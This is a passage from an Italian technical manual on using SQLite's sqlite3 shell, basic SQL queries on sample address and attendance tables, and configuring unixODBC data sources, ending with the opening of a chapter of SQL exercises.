-html	Richiede di generare i risultati delle interrogazioni in forma di tabella HTML.

Oltre all'uso dell'opzione '**-init**', il programma '**sqlite3**' può ricevere un file contenente comandi e istruzioni SQL semplicemente dallo standard input.

Tabella 88.3. Alcuni comandi interni di '**sqlite3**'.

Comando	Descrizione
.help	Mostra una guida interna all'uso del programma.
.exit .quit	Termina il funzionamento del programma.
.dump [*relazione*]...	Consente di «scaricare» il contenuto della base di dati, oppure delle sole relazioni indicate, generando le istruzioni necessarie a ricostruire le informazioni relative.
.read *file*	Legge ed esegue i comandi contenuti nel file indicato.

Comando	Descrizione
`.mode column`	Fa in modo di visualizzare il risultato delle interrogazioni in una forma incolonnata.
`.mode list`	Fa in modo di visualizzare il risultato delle interrogazioni nel modo usuale di '**sqlite3**'.
`.header on` `.header off`	attiva o disattiva l'intestazione delle colonne.

88.1.2 Copie di sicurezza

È evidente che la copia di una base di dati realizzata con SQLite è un'operazione molto semplice, essendo tutto contenuto in un file. Tuttavia, per garantire la trasferibilità in un'architettura differente, è necessario procedere alla generazione di un file di testo contenente le istruzioni SQL con cui poi ricostruire la base di dati. Si ottiene lo scarico in questa forma usando il comando '**.dump**':

```
echo ".dump" | sqlite3 file_base_di_dati > file_sql
```

Per esempio, per generare il file 'backup.sql' dalla base di dati contenuta nel file 'mio.db', si potrebbe usare il comando seguente:

$ **echo ".dump" | sqlite3 mio.db > backup.sql** [*Invio*]

Quello che si ottiene nel file 'backup.sql' potrebbe avere l'aspetto seguente:

```
BEGIN TRANSACTION;
CREATE TABLE Indirizzi (codice integer, cognome char(40), ↩
↪nome char(40), indirizzo varchar(60), telefono varchar(40));
INSERT INTO "Indirizzi" VALUES(1, 'Pallino', 'Pinco', ↩
↪'Via Biglie, 1', '0222,222222');
...
CREATE TABLE presenze (codice integer, giorno date, ↩
↪ingresso time, uscita time);
INSERT INTO "presenze" VALUES(1, '2005-09-17', '11:20:00', '13:30:00');
...
CREATE VIEW ingressi as select indirizzi.cognome, indirizzi.nome, ↩
↪presenze.giorno, presenze.ingresso ↩
↪from indirizzi, presenze ↩
↪where indirizzi.codice = presenze.codice;
COMMIT;
```

Per ricostruire una base di dati da un file del genere, basta fornire il file a '**sqlite3**' dallo standard input:

```
sqlite3 file_base_di_dati < file_sql
```

Per esempio, per creare una base di dati nuova nel file 'nuova.db', a partire dallo stesso file appena creato, si potrebbe usare il comando seguente:

```
$ sqlite3 nuova.db < backup.sql [Invio]
```

88.1.3 Accesso simultaneo a più basi di dati

SQLite consente di accedere a più di una basi di dati alla volta. Per fare questo è disponibile un'istruzione SQL che non è standard:

```
ATTACH [DATABASE] file_base_di_dati AS nome_interno
```

In pratica, si indica il file della basi di dati a cui collegarsi, tenendo conto che può essere necessario indicarlo tra virgolette, ma le si deve associare un nome. Nell'esempio seguente, durante il funzionamento di '**sqlite3**' viene collegata la basi di dati contenuta nel file 'seconda.db', associandola al nome '**seconda**':

```
sqlite> ATTACH 'seconda.db' AS seconda; [Invio]
```

La base di dati già aperta all'atto dell'avvio di '**sqlite3**' acquista automaticamente il nome interno '**main**'. La distinzione delle basi di dati con questi nomi interni, consente di accedere a relazioni che altrimenti avrebbero lo stesso nome: per indicare la relazione '**indirizzi**' della base di dati '**seconda**', si indica '**seconda.indirizzi**'; per indicare la relazione con lo stesso nome, contenuta nella base di dati aperta all'avvio del programma, si indica '**main.indirizzi**'. Comunque, si osservi che non è necessario indicare dei nomi completi della base di dati se non ci sono ambiguità tra le relazioni.

Eventualmente, per chiudere il collegamento con una base di dati c'è un'altra istruzione:

```
DETACH [DATABASE] nome_interno
```

88.2 Esempi comuni

Nelle sezioni seguenti vengono mostrati alcuni esempi comuni di utilizzo del linguaggio SQL, limitato alle possibilità di SQLite. La sintassi non viene descritta. Negli esempi si fa riferimento frequentemente a una relazione di indirizzi, il cui contenuto è visibile nella figura successiva.

Figura 88.5. La relazione '**Indirizzi (Codice, Cognome, Nome, Indirizzo, Telefono)**' usata negli esempi del capitolo.

Indirizzi				
Codice	**Cognome**	**Nome**	**Indirizzo**	**Telefono**
1	Pallino	Pinco	Via Biglie 1	0222,222222
2	Tizi	Tizio	Via Tazi 5	0555,555555
3	Cai	Caio	Via Caini 1	0888,888888
4	Semproni	Sempronio	Via Sempi 7	0999,999999

88.2.1 Creazione di una relazione

La relazione di esempio, denominata '**Indirizzi**', potrebbe essere creata nel modo seguente:

```
sqlite> CREATE TABLE Indirizzi ( [Invio]
   ...>         Codice          integer, [Invio]
   ...>         Cognome         char(40), [Invio]
   ...>         Nome            char(40), [Invio]
   ...>         Indirizzo       varchar(60), [Invio]
   ...>         Telefono        varchar(40) [Invio]
   ...>     ); [Invio]
```

88.2.2 Modifica della relazione

SQLite consente soltanto l'aggiunta di attributi alle relazioni, mentre la loro eliminazione o il cambiamento del dominio (il tipo), non è ammissibile. Segue un esempio con cui si aggiunge un attributo:

```
sqlite> ALTER TABLE Indirizzi ADD COLUMN Comune char(30); [Invio]
```

88.2.3 Inserimento dati in una relazione

L'esempio seguente mostra l'inserimento dell'indirizzo dell'impiegato «Pinco Pallino»:

```
sqlite> INSERT INTO Indirizzi VALUES ( [Invio]
   ...>         01, [Invio]
   ...>         'Pallino', [Invio]
   ...>         'Pinco', [Invio]
   ...>         'Via Biglie 1', [Invio]
   ...>         '0222,222222'); [Invio]
```

In questo caso, si presuppone che i valori inseriti seguano la sequenza degli attributi, così come è stata creata la relazione in origine; tuttavia, si osservi che se la relazione ha degli attributi in più, si ottiene una segnalazione di errore e l'inserimento viene rifiutato.

Per indicare un comando più leggibile, evitando anche problemi quando dovessero esserci attributi ulteriori, che però non si vogliono prendere in considerazione, occorre aggiungere l'indicazione della sequenza degli attributi da compilare, come nell'esempio seguente:

```
sqlite> INSERT INTO Indirizzi (Codice, Cognome, Nome, [Invio]
   ...>                        Indirizzo, Telefono) [Invio]
```

```
...>         VALUES (01, 'Pallino', 'Pinco', [Invio]
...>                 'Via Biglie 1', '0222,222222'); [Invio]
```

In questo modo, gli attributi che non vengono indicati, ricevono il valore predefinito (se esiste), oppure '**NULL**' in mancanza d'altro.

88.2.4 Eliminazione di una relazione

Una relazione può essere eliminata completamente attraverso l'istruzione '**DROP**'. L'esempio seguente elimina la relazione degli indirizzi degli esempi già mostrati:

```
sqlite> DROP TABLE Indirizzi; [Invio]
```

88.2.5 Interrogazioni semplici

L'esempio seguente emette tutto il contenuto della relazione degli indirizzi già vista negli esempi precedenti:

```
sqlite> SELECT * FROM Indirizzi; [Invio]
```

Il risultato può apparire in formati differenti; di solito si ottiene così:

```
1|Pallino|Pinco|Via Biglie 1|0222,222222
2|Tizi|Tizio|Via Tazi 5|0555,555555
3|Cai|Caio|Via Caini 1|0888,888888
4|Semproni|Sempronio|Via Sempi 7|0999,999999
```

Per ottenere un elenco incolonnato, occorre usare il comando '**.mode column**', ma in tal caso l'ampiezza delle colonne è fissa e le informazioni potrebbero apparire troncate:

```
sqlite> .mode column [Invio]
sqlite> SELECT * FROM Indirizzi; [Invio]
```

```
1          Pallino     Pinco       Via Biglie 1   0222,222222
2          Tizi        Tizio       Via Tazi 5     0555,555555
3          Cai         Caio        Via Caini 1    0888,888888
4          Semproni    Sempronio   Via Sempi 7    0999,999999
```

Per visualizzare anche l'intestazione delle colonne che appaiono, occorre utilizzare il comando '**.header on**':

```
sqlite> .header on [Invio]
sqlite> SELECT * FROM Indirizzi; [Invio]
```

```
Codice     Cognome     Nome        Indirizzo      Telefono
---------  ----------  ----------  -------------  -----------
1          Pallino     Pinco       Via Biglie 1   0222,222222
2          Tizi        Tizio       Via Tazi 5     0555,555555
3          Cai         Caio        Via Caini 1    0888,888888
4          Semproni    Sempronio   Via Sempi 7    0999,999999
```

Per ottenere un elenco ordinato in base al cognome e al nome (in caso di ambiguità), lo stesso comando si completa nel modo seguente:

sqlite> **SELECT * FROM Indirizzi ORDER BY Cognome, Nome;** [*Invio*]

```
Codice     Cognome     Nome        Indirizzo      Telefono
---------  ----------  ----------  -------------  -----------
3          Cai         Caio        Via Caini 1    0888,888888
1          Pallino     Pinco       Via Biglie 1   0222,222222
4          Semproni    Sempronio   Via Sempi 7    0999,999999
2          Tizi        Tizio       Via Tazi 5     0555,555555
```

La selezione degli attributi permette di ottenere un risultato che contenga solo quelli desiderati, permettendo anche di cambiarne l'intestazione. L'esempio seguente permette di mostrare solo i nominativi e il telefono, cambiando un po' le intestazioni:

sqlite> **SELECT Cognome as cognomi, Nome as nomi,** [*Invio*]

   ...>   **Telefono as numeri_telefonici** [*Invio*]

   ...>   **FROM Indirizzi;** [*Invio*]

Quello che si ottiene è simile all'elenco seguente:

```
cognomi     nomi        numeri_telefonici
----------  ----------  -----------------
Pallino     Pinco       0222,222222
Tizi        Tizio       0555,555555
Cai         Caio        0888,888888
Semproni    Sempronio   0999,999999
```

La selezione delle tuple può essere fatta attraverso la condizione che segue la parola chiave '**WHERE**'. Nell'esempio seguente vengono selezionate le tuple in cui l'iniziale dei cognomi è compresa tra '**N**' e '**T**':

sqlite> **SELECT * FROM Indirizzi** [*Invio*]

   ...>   **WHERE Cognome >= 'N' AND Cognome <= 'T';** [*Invio*]

Dall'elenco che si ottiene, si osserva che '**Caio**' è stato escluso:

```
Codice     Cognome    Nome       Indirizzo     Telefono
---------  ---------- ---------- ------------- -----------
1          Pallino    Pinco      Via Biglie 1  0222,222222
2          Tizi       Tizio      Via Tazi 5    0555,555555
4          Semproni   Sempronio  Via Sempi 7   0999,999999
```

Per evitare ambiguità possono essere indicati i nomi degli attributi prefissati dal nome della relazione a cui appartengono, separando le due parti con l'operatore punto ('`.`'). Nell'esempio seguente si selezionano solo il cognome, il nome e il numero telefonico, specificando il nome della relazione a cui appartengono gli attributi:

sqlite> **SELECT Indirizzi.Cognome, Indirizzi.Nome, Indirizzi.Telefono** [*Invio*]

...> **FROM Indirizzi;** [*Invio*]

Ecco il risultato:

```
Cognome    Nomi       Telefono
---------- ---------- -----------
Pallino    Pinco      0222,222222
Tizi       Tizio      0555,555555
Cai        Caio       0888,888888
Semproni   Sempronio  0999,999999
```

88.2.6 Interrogazioni simultanee di più relazioni

Se dopo la parola chiave '**`FROM`**' si indicano più relazioni (ciò vale anche se si indica più volte la stessa relazione), si intende fare riferimento a una relazione generata dal «prodotto» di queste. Si immagini di abbinare alla relazione '**`Indirizzi`**' la relazione '**`Presenze`**' contenente i dati visibili nella figura 88.13.

Figura 88.13. La relazione '**`Presenze (Codice, Giorno, Ingresso, Uscita)`**'.

Presenze			
Codice	**Giorno**	**Ingresso**	**Uscita**
1	01/01/2010	07:30	13:30
2	01/01/2010	07:35	13:37
3	01/01/2010	07:45	14:00
4	01/01/2010	08:30	16:30
1	01/02/2010	07:35	13:38
2	01/02/2010	08:35	14:37
4	01/02/2010	07:30	13:30

Ecco le istruzioni per crearla e per inserire la prima tupla dell'esempio:

```
sqlite> CREATE TABLE Presenze (Codice INTEGER, Giorno DATE, [Invio]
   ...>                        Ingresso TIME, USCITA Time); [Invio]
sqlite> INSERT INTO Presenze [Invio]
   ...>      VALUES (1, '2010-01-01', '07:30', '13:30'); [Invio]
```

Come si può intendere, il primo attributo, '**Codice**', serve a identificare la persona per la quale è stata fatta l'annotazione dell'ingresso e dell'uscita. Tale codice viene interpretato in base al contenuto della relazione '**Indirizzi**'. Si immagini di volere ottenere un elenco contenente tutti gli ingressi e le uscite, indicando chiaramente il cognome e il nome della persona a cui si riferiscono.

```
sqlite> SELECT Presenze.Giorno, Presenze.Ingresso, Presenze.Uscita, [Invio]
   ...>        Indirizzi.Cognome, Indirizzi.Nome [Invio]
   ...>        FROM Presenze, Indirizzi [Invio]
   ...>        WHERE Presenze.Codice = Indirizzi.Codice; [Invio]
```

Ecco quello che si dovrebbe ottenere:

```
giorno      ingresso    uscita      cognome     nome
----------  ----------  ----------  ----------  ----------
01-01-2010    07:30:00    13:30:00    Pallino     Pinco
01-01-2010    07:35:00    13:37:00    Tizi        Tizio
01-01-2010    07:45:00    14:00:00    Cai         Caio
01-01-2010    08:30:00    16:30:00    Semproni    Sempronio
01-02-2010    07:35:00    13:38:00    Pallino     Pinco
01-02-2010    08:35:00    14:37:00    Tizio       Tizi
01-02-2010    07:40:00    13:30:00    Semproni    Sempronio
```

88.2.7 Alias

Una stessa relazione può essere presa in considerazione come se si trattasse di due o più relazioni differenti. Per distinguere tra questi punti di vista diversi, si devono usare degli alias, che sono in pratica dei nomi alternativi. Gli alias si possono usare anche solo per questioni di leggibilità. L'esempio seguente è la semplice ripetizione di quello mostrato nella sezione precedente, con l'aggiunta però della definizione degli alias '**Pre**' e '**Nom**'.

```
sqlite> SELECT Pre.Giorno, Pre.Ingresso, Pre.Uscita, [Invio]
   ...>      Nom.Cognome, Nom.Nome [Invio]
   ...>      FROM Presenze AS Pre, Indirizzi AS Nom [Invio]
   ...>      WHERE Pre.Codice = Nom.Codice; [Invio]
```

88.2.8 Viste

Attraverso una vista, è possibile definire una relazione virtuale:

```
sqlite> CREATE VIEW Presenze_dettagliate AS [Invio]
   ...>     SELECT Presenze.Giorno, Presenze.Ingresso, [Invio]
   ...>            Presenze.Uscita, [Invio]
   ...>            Indirizzi.Cognome, Indirizzi.Nome [Invio]
   ...>         FROM Presenze, Indirizzi [Invio]
   ...>         WHERE Presenze.Codice = Indirizzi.Codice; [Invio]
```

L'esempio mostra la creazione della vista '**Presenze_dettagliate**', ottenuta dalle relazioni '**Presenze**' e '**Indirizzi**'. In pratica, questa vista permette di interrogare direttamente la relazione virtuale '**Presenze_dettagliate**', invece di utilizzare ogni volta un comando '**SELECT**' molto complesso, per ottenere lo stesso risultato.

88.2.9 Aggiornamento delle tuple

La modifica di tuple già esistenti avviene attraverso l'istruzione '**UPDATE**', la cui efficacia viene controllata dalla condizione posta dopo la parola chiave '**WHERE**'. Se tale condizione manca, l'effetto delle modifiche si riflette su tutte le tuple della relazione.

L'esempio seguente, aggiunge un attributo alla relazione degli indirizzi, per contenere il nome del comune di residenza degli impiegati; successivamente viene inserito il nome del comune '**Sferopoli**' in base al prefisso telefonico.

```
sqlite> ALTER TABLE Indirizzi ADD COLUMN Comune char(30); [Invio]
sqlite> UPDATE Indirizzi [Invio]
   ...>     SET Comune='Sferopoli' [Invio]
   ...>     WHERE Telefono >= '022' AND Telefono < '023'; [Invio]
```

In pratica, viene aggiornata solo la tupla dell'impiegato '**Pinco Pallino**'.

88.2.10 Cancellazione delle tuple

L'esempio seguente elimina dalla relazione delle presenze le tuple riferite alle registrazioni del giorno 01/01/2010 e le eventuali antecedenti.

```
sqlite> DELETE FROM Presenze WHERE Giorno <= '2010-01-01'; [Invio]
```

88.2.11 Inserimento in una relazione esistente

L'esempio seguente aggiunge alla relazione dello storico delle presenze le registrazioni vecchie che poi vengono cancellate:

```
sqlite> INSERT INTO PresenzeStorico ( [Invio]
   ...>         PresenzeStorico.Codice, PresenzeStorico.Giorno, [Invio]
   ...>         PresenzeStorico.Ingresso, PresenzeStorico.Uscita) [Invio]
   ...>     SELECT Presenze.Codice, Presenze.Giorno, [Invio]
   ...>            Presenze.Ingresso, Presenze.Uscita [Invio]
   ...>         FROM Presenze WHERE Presenze.Giorno <= '2010-01-01';
[Invio]
sqlite> DELETE FROM Presenze WHERE Giorno <= '2010-01-01'; [Invio]
```

88.3 Riferimenti

- *SQLite*
  ⟨*http://www.sqlite.org* ⟩

[1] **SQLite** dominio pubblico

ODBC

ODBC, ovvero *Open database connectivity* è un metodo standardizzato per l'accesso ai DBMS. Si attua inserendo un servizio intermedio, tra i DBMS e le applicazioni che devono accedere ai dati: le applicazioni comunicano con il servizio ODBC, mentre il servizio ODBC comunica con i DBMS sottostanti, preoccupandosi di adattarsi alle loro particolarità. Ciò consente di scrivere applicazioni che, attraverso ODBC, sono in grado di utilizzare qualsiasi DBMS con cui il servizio ODBC sia in grado di interagire.

Generalmente, il sistema ODBC non fa tutto da solo, in quanto di solito si avvale di librerie aggiuntive (*driver*) per la gestione dei DBMS reali.

89.1 DSN

Un DSN, ovvero *Data source name*, è una base di dati virtuale, del sistema ODBC, individuata da un nome.

Generalmente, un DSN fa riferimento a una base di dati di un certo DBMS reale, con cui il sistema ODBC è in grado di interagire; tuttavia, teoricamente, potrebbe trattarsi di qualunque cosa in grado di comportarsi come una base di dati vera e propria.

89.2 unixODBC

Nei sistemi Unix è disponibile unixODBC,[1] che consente di interagire con un discreto numero di DBMS comuni, attraverso delle librerie aggiuntive per la gestione dei vari DBMS, alcune delle quali vengono elencate qui brevemente:

- PostgreSQL ODBC,[2] per la comunicazione con DBMS PostgreSQL;
- MyODBC,[3] per la comunicazione con DBMS MySQL.

Una volta installato unixODBC e le librerie per la comunicazione con i DBMS di proprio interesse, occorre provvedere a configurare unixODBC in modo da poterle utilizzare. Per fare questo si interviene nel file '`/etc/odbcinst.ini`'; l'esempio seguente riguarda le librerie per comunicare con MySQL e PostgreSQL rispettivamente:

```
[MySQL]
Description     = MySQL driver
Driver          = /usr/lib/odbc/libmyodbc.so
Setup           = /usr/lib/odbc/libodbcmyS.so
CPTimeout       =
CPReuse         =
FileUsage       = 1

[PostgreSQL]
Description     = PostgreSQL ODBC driver
Driver          = /usr/lib/odbc/psqlodbc.so
Setup           = /usr/lib/odbc/libodbcpsqlS.so
Debug           = 0
CommLog         = 1
FileUsage       = 1
```

Come si può vedere e intuire, alcune direttive non sono comuni per tutti i tipi di DBMS; in pratica, l'inserimento di una sezione per l'accesso a un DBMS richiede un modello da copiare e adattare, per quel caso specifico.

Una volta configurate le librerie per l'accesso ai DBMS, è possibile definire dei DSN, con i quali fare riferimento a delle basi di dati reali presso tali DBMS. unixODBC offre tre modi per memorizzare le informazioni sui DSN, in base al campo di azione previsto per questi: il sistema nel suo insieme, una rete locale, il singolo utente.

Attraverso il file '`/etc/odbc.ini`' è possibile dichiarare dei DSN validi nell'ambito del sistema locale, per tutti gli utenti; attraverso dei file che corrispondono al modello '`/etc/ODBCDataSources/`***nome***`.dsn`', è possibile dichiarare un DSN che, teoricamente, potrebbe essere condiviso da più elaboratori in una rete locale, con la stessa condivisione della directory '`/etc/ODBCDataSources/`'; attraverso i file '`~/.odbc.ini`', ogni utente può dichiarare i propri DSN personali.

Questi file di configurazione dei DSN, possono contenere direttive raggruppate in sezioni, corrispondenti al nome del DSN. Per esempio, l'estratto seguente dichiara l'accesso alla base di dati, presso l'elaboratore locale, denominata '**`nanodb`**', accedendo con l'utenza '**`pgnanouser`**' (secondo il DBMS); il nome del DSN è '**`mio`**':

```
[mio]
Description             = PostgreSQL
Driver                  = PostgreSQL
Trace                   = No
TraceFile               =
Database                = nanodb
Servername              = localhost
Username                = pgnanouser
Password                =
Port                    = 5432
Protocol                = 6.4
ReadOnly                = No
RowVersioning           = No
ShowSystemTables        = No
ShowOidColumn           = No
FakeOidIndex            = No
ConnSettings            =
```

L'estratto seguente, invece, dichiara l'accesso alla base di dati, presso l'elaboratore locale, denominata '**`nanodb`**', accedendo con l'utenza '**`mynanouser`**' (secondo il DBMS); il nome del DSN è '**`mio2`**':

```
[mio2]
Description     = MySQL
Driver          = MySQL
Server          = localhost
Database        = nanodb
Username        = mynanouser
Port            =
```

```
Socket          =
Option          =
Stmt            =
```

89.3 ODBCConfig

Il programma ODBCConfig, che fa parte di unixODBC, consente di configurare i DSN in modo guidato, proponendo dei valori predefiniti appropriati al tipo di DBMS a cui questi vanno associati. Eventualmente, sarebbe possibile anche intervenire nella configurazione di '`/etc/odbcinst.ini`', ma questo non è conveniente, perché in tal caso manca la guida necessaria. Il programma si avvia generalmente senza argomenti:

```
ODBCConfig
```

Se il programma viene avviato con i privilegi necessari, può intervenire nella configurazione di '`/etc/odbc.ini`' o dei file contenuti nella directory '`/etc/ODBCDataSources/`', altrimenti può operare esclusivamente nel file personale '`~/.odbc.ini`'.

Figura 89.4. Aspetto di ODBCConfig all'avvio.

Osservando il programma in funzione, si vedono alcuni lembi posti sul lato superiore. I primi tre (`User DSN`, `System DSN`, `File DSN`) permettono di selezionare una scheda riferita, rispettivamente, alla configurazione dei DSN personali ('`~/.odbc.ini`'), di quelli di sistema ('`/etc/odbc.ini`') e di quelli condivisibili ('`/etc/ODBCDataSources/`'). La configurazione con una qualsiasi di queste tre schede è uniforme alle altre; quello che cambia sono i privilegi necessari a modificare i file di configurazione rispettivi.

Avendo selezionato una delle tre schede che consentono di intervenire sui DSN, sul lato destro della finestra appaiono dei pulsanti grafici, con i quali è possibile creare, eliminare o modificare

dei DSN. Volendo creare un DSN (pulsante [ADD]), appare la richiesta di specificare il tipo di DBMS (*driver*).

Figura 89.5. La maschera con cui si specifica la libreria adatta a comunicare con il DBMS di proprio interesse. Una volta evidenziato, come si vede in questo caso a proposito di PostgreSQL, si deve selezionare il pulsante grafico [OK].

Successivamente viene proposta una maschera che riproduce, sostanzialmente, le direttive specifiche per quel tipo di libreria, da inserire nel file di configurazione. Fortunatamente, la maschera contiene già dei valori predefiniti appropriati per la maggior parte delle direttive.

Figura 89.6. La maschera con cui si definiscono le direttive per il DSN, nel caso della libreria per il collegamento a und DBMS PostgreSQL. In questo caso viene dichiarato il DSN denominato '**`mio`**', abbinato alla base di dati '**`nanodb`**', presso l'elaboratore locale, a cui si accede con l'utenza '**`pgnanouser`**' (la parola d'ordine, ammesso che sia necessaria per accedere, rimane da specificare al momento del collegamento.

Name	mio
Description	PostgreSQL
Driver	PostgreSQL
Trace	No
TraceFile	
Database	nanodb
Servername	localhost
Username	pgnanouser
Password	
Port	5432
Protocol	6.4
ReadOnly	No
RowVersioning	No
ShowSystemTables	No
ShowOidColumn	No
FakeOidIndex	No
ConnSettings	

Nella maschera di inserimento delle direttive, appare un menù di icone, di solito sul lato superiore sinistro. Con l'icona che mostra una «X», si annullano le modifiche, mentre con quella che assomiglia a una «V», si confermano gli inserimenti.

Figura 89.7. Aspetto di ODBCConfig dopo l'inserimento del DSN '**`mio`**' nella configurazione personale dell'utente.

Tra le altre schede del programma, è interessante osservare ciò che è contenuto in quella denominata `Advanced`. Lì dovrebbe essere visibile il percorso di un file usato per annotare l'esito delle interrogazioni avvenute con le basi di dati reali, per poter risalire alla causa di un problema, quando l'utilizzo di ODBC sembra fallire senza un motivo apparente. In ogni caso, questo file dovrebbe corrispondere a '`/tmp/sql.log`'.

89.4 Accesso a ODBC tramite «isql» o «iusql»

unixODBC include due programmi equivalenti, per accedere a un DSN attraverso istruzioni SQL impartite interattivamente. Attraverso questi programmi si può verificare in pratica il funzionamento di un certo DSN:

`isql` ***nome_dsn*** [***nome_utente*** [***parola_d'ordine***]] [***opzioni***]

`iusql` ***nome_dsn*** [***nome_utente*** [***parola_d'ordine***]] [***opzioni***]

La differenza tra i due programmi dovrebbe consistere nella migliore disposizione del secondo verso la codifica universale.

Dalla sintassi mostrata sull'uso dei due programmi, si può osservare che è obbligatorio l'inserimento del nome del DSN con cui ci si vuole connettere, mentre gli altri dati sono facoltativi, perché potrebbero essere memorizzati nella configurazione del DSN stesso, oppure, nel caso della parola d'ordine, potrebbe non essere richiesta dal DBMS per accedere. A titolo di esempio, si suppone di collegarsi al DSN '**`mio`**', per il quale è già stato specificato il nominativo utente da usare e la parola d'ordine non è richiesta:

`$` **`isql mio`** [*Invio*]

```
+---------------------------------------+
| Connected!                            |
|                                       |
| sql-statement                         |
| help [tablename]                      |
| quit                                  |
|                                       |
+---------------------------------------+
```

Come si vede, viene suggerito ciò che si può fare: inserire istruzioni SQL, usare il comando '**help**' o '**quit**'. A questo punto non c'è molto da spiegare; si comprende che possono essere impartite delle istruzioni SQL (secondo i canoni di ODBC) e che al termine si può concludere con il comando '**quit**'.

SQL> **quit** [*Invio*]

Il problema nell'uso di un programma come questo, semmai, sta nel fatto che, di fronte a un errore, la spiegazione che si ottiene è estremamente scarna e occorre leggere il file in cui i messaggi del DBMS reale vengono scaricati (di solito è '/tmp/sql.log').

89.5 Riferimenti

- *unixODBC*
  ⟨http://www.unixodbc.org ⟩

[1] **unixODBC** GNU GPL e GNU LGPL

[2] **PostgreSQL ODBC** GNU GPL

[3] **MyODBC** GNU GPL

Capitolo 90

SQL: lezioni pratiche e verifiche

90.1 Creazione ed eliminazione delle relazioni 5328

90.1.1 Creazione di una relazione 5329
90.1.2 Eliminazione di una relazione 5329
90.1.3 Verifica sulla creazione e popolazione della relazione «Articoli» 5330
90.1.4 Verifica sulla creazione e popolazione della relazione «Causali» 5331
90.1.5 Verifica sulla creazione e popolazione della relazione «Fornitori» 5332
90.1.6 Verifica sulla creazione e popolazione della relazione «Clienti» 5333
90.1.7 Verifica sulla creazione e popolazione della relazione «Movimenti» 5335
90.1.8 Conclusione 5336

90.2 Interrogazione semplice di una relazione 5337

90.2.1 Interrogazione completa 5337
90.2.2 Interrogazione con selezione di alcuni attributi 5338
90.2.3 Stampa del contenuto di una relazione 5339
90.2.4 Verifica sull'interrogazione della relazione «Articoli» 5341
90.2.5 Verifica sull'interrogazione delle relazioni «Fornitori» e «Clienti» 5342
90.2.6 Conclusione 5343

90.3 Interrogazione ordinata di una relazione 5343

90.3.1 Interrogazione ordinata 5343
90.3.2 Verifica sull'interrogazione ordinata della relazione «Articoli» 5344
90.3.3 Verifica sull'interrogazione ordinata della relazione «Clienti» 5345
90.3.4 Verifica sull'interrogazione ordinata della relazione «Causali» 5346

90.4 Interrogazione selettiva di una relazione 5347

90.4.1 Interrogazione selettiva 5348
90.4.2 Verifica sull'interrogazione selettiva della relazione «Articoli» 5349
90.4.3 Verifica sull'interrogazione selettiva e ordinata della relazione «Articoli» 5350
90.4.4 Verifica sull'interrogazione selettiva della relazione «Causali» 5351

90.5 Interrogazioni simultanee di più relazioni 5352

90.5.1 Interrogazione simultanea delle relazioni «Movimenti» e «Articoli» 5353
90.5.2 Interrogazione simultanea delle relazioni «Movimenti», «Articoli» e «Causali» 5354
90.5.3 Verifica sull'interrogazione simultanea delle relazioni «Movimenti» e «Causali» 5355
90.5.4 Verifica sull'interrogazione simultanea delle relazioni «Movimenti», «Causali» e «Clienti» 5356

90.5.5 Verifica sull'interrogazione ordinata e simultanea delle relazioni «Movimenti», «Causali» e «Clienti» 5357

90.6 Interrogazioni simultanee di più relazioni e alias 5358

90.6.1 Interrogazione simultanea delle relazioni «Movimenti», «Articoli» e «Causali» 5358

90.6.2 Verifica sull'interrogazione simultanea delle relazioni «Movimenti» e «Causali» 5359

90.6.3 Verifica sull'interrogazione simultanea delle relazioni «Movimenti», «Causali» e «Clienti» 5360

90.6.4 Conclusione 5361

90.7 Viste 5361

90.7.1 Creazione della vista «Listino» 5361

90.7.2 Creazione della vista «Resi» 5362

90.7.3 Verifica sulla creazione della vista «Acquisti» 5364

90.7.4 Verifica sulla creazione della vista «Vendite» 5365

90.7.5 Conclusione 5367

90.8 Modifica del contenuto delle tuple 5367

90.8.1 Modifica di una causale di magazzino 5367

90.8.2 Modifica di diverse causali di magazzino 5368

90.8.3 Verifica sulla modifica della relazione «Articoli» 5370

90.8.4 Verifica sulla modifica delle relazioni «Clienti» e «Fornitori» 5371

90.8.5 Conclusione 5373

90.9 Eliminazione delle tuple 5373

90.9.1 Cancellazione di una causale di magazzino 5373

90.9.2 Cancellazione di diverse causali di magazzino 5374

90.9.3 Verifica sulla cancellazione di alcuni articoli 5376

90.9.4 Conclusione 5377

90.10 Grilletti per il controllo del dominio degli attributi 5377

90.10.1 Creazione dei grilletti «Causali_ins» e «Causali_upd» 5377

90.10.2 Creazione del grilletto «Articoli_ins» e «Articoli_upd» 5379

90.10.3 Verifica sulla creazione dei grilletti «Movimenti_ins» e «Movimenti_upd» 5382

90.10.4 Conclusione 5383

90.11 Grilletti per il controllo della validità esterna 5383

90.11.1 Controllo del codice articolo tra la relazione «Movimenti» e la relazione «Articoli» 5383

90.11.2 Controllo del codice cliente tra la relazione «Movimenti» e la relazione «Clienti» 5385
90.11.3 Verifica sulla creazione dei grilletti «Movimenti_ins», «Movimenti_upd» e «Causali_del» 5388
90.11.4 Verifica sulla creazione dei grilletti «Movimenti_ins», «Movimenti_upd» e «Fornitori_del» 5390
90.11.5 Conclusione 5392
90.12 Selezione di attributi virtuali, ottenuti da un'espressione 5392
90.12.1 Interrogazione della relazione «Movimenti» in modo da ottenere il valore unitario 5393
90.12.2 Vista della relazione «Movimenti» in modo da ottenere il valore unitario 5394
90.12.3 Verifica sulla creazione della vista «MovimentiExtra» 5395
90.12.4 Conclusione 5397
90.13 Aggregazioni 5398
90.13.1 Aggregazioni banali 5399
90.13.2 Verifica sulla creazione della vista «SituazioneMagazzino» 5400
90.13.3 Verifica sulla creazione della vista «SituazioneMagazzino» 5402
90.13.4 Verifica sulla creazione della vista «SituazioneMagazzino» 5403
90.13.5 Conclusione 5405
90.14 Inserimento automatico del costo medio 5405
90.14.1 Vista «CostoMedioValido» 5405
90.14.2 Grilletto «ValorizzazioneScarichi» 5406

Prima di poter iniziare a eseguire gli esercizi di questo capitolo, dedicato alle basi di dati e al linguaggio SQL, è necessario verificare di disporre degli strumenti adatti ed essere sicuri di saperli utilizzare.

Per facilitare l'esecuzione di queste esercitazioni, sia gli esercizi, sia le verifiche sono realizzabili con SQLite, attraverso il programma '**`sqlite3`**'. Pertanto gli esercizi prevedono l'uso di basi di dati personali, ognuna contenuta tutta in un file.

Le verifiche associate a queste esercitazioni portano a produrre dei fogli stampati, che gli studenti devono avere la cura di controllarle in base a quanto indicato nella traccia delle verifiche stesse, prima della consegna all'insegnante.

Per poter svolgere gli esercizi e le verifiche, ogni studente deve essere in grado di scrivere e modificare file di testo, con un programma adatto (per esempio va bene il programma Gedit). In questi file di testo vanno inserite le istruzioni SQL necessarie allo svolgimento del lavoro; per evitare confusione, i file che contengono codice SQL vengono nominati con l'estensione '`.sql`'.

